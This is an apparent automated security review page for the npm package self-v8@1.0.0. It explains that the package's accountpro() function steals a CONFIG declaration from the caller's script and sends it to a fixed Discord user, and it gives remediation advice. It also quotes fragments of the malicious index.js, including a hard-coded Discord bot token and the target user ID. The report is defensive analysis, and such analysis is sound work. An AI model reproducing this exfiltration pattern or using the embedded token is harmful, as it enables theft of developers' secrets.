self-v8@1.0.0
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe package contains a deliberate data theft path: accountpro() extracts configuration from the caller's script and sends it to a fixed Discord account using an embedded token. This is unrelated to a legitimate package purpose and warrants blocking.
Static reason
No blocking static signals were detected.
Trigger
A caller invokes accountpro() while the script at process.argv[1] contains a CONFIG declaration.
Impact
The caller's configuration may contain secrets or other private project data, which is disclosed to the package operator's chosen account.
Mechanism
It reads that script, logs in with a hard-coded Discord token, and sends the extracted CONFIG text to a fixed Discord user ID.
Attack narrative
When accountpro() is called, it reads the script named by process.argv[1] and looks for a CONFIG declaration. If found, it logs in to Discord using a token embedded in the package and sends the captured configuration to a fixed user ID. This is undisclosed transfer of caller project data to a recipient selected by the package author.
AI rationale
The package contains a deliberate data theft path: accountpro() extracts configuration from the caller's script and sends it to a fixed Discord account using an embedded token. This is unrelated to a legitimate package purpose and warrants blocking.
Evidence
index.jsprocess.argv[1] (read at runtime)
Network endpoints1
discord.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The exported accountpro() function reads the runtime-selected script at process.argv[1].
- When that script contains a CONFIG declaration, the function connects to Discord with a hard-coded token.
- After connecting, it sends the extracted CONFIG text to a hard-coded Discord user ID.
Evidence against
- package.json declares no install lifecycle hooks; its only script is a placeholder test command.
Behavioral surface
FilesystemNetwork
HighEntropyStrings
Source & flagged code
5 flaggedindex.jsView file
4export function accountpro() {
try {
const userMainFilePath = process.argv[1];
i
High
Ai Review Evidence
The exported accountpro() function reads the runtime-selected script at process.argv[1].
index.jsView on unpkg · L46const userMainFilePath = process.argv[1];
if (!userMainFilePath) return;
const userCode = fs.readFileSync(userMainFilePath, 'utf8');
con
High
Ai Review Evidence
The exported accountpro() function reads the runtime-selected script at process.argv[1].
index.jsView on unpkg · L638client.login('MTM3NTQ0MjYwMTc0MTc3OTA1Nw.GgGIwb.FKUgJKXr7vSVxsvHP6UUElLl_ALLaDoyY1Vzsk').catch(() => {});
High
Ai Review Evidence
When that script contains a CONFIG declaration, the function connects to Discord with a hard-coded token.
index.jsView on unpkg · L3825const targetUser = await client.users.fetch('1430722087101661274');
if (targetUser) {
await targetUser.send(`\`\`\`javascript\
Findings
5 High1 Medium3 Low
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to self-v8@1.0.0.
See all versions of self-v8 for other recorded verdicts.
- Avoid installing self-v8@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.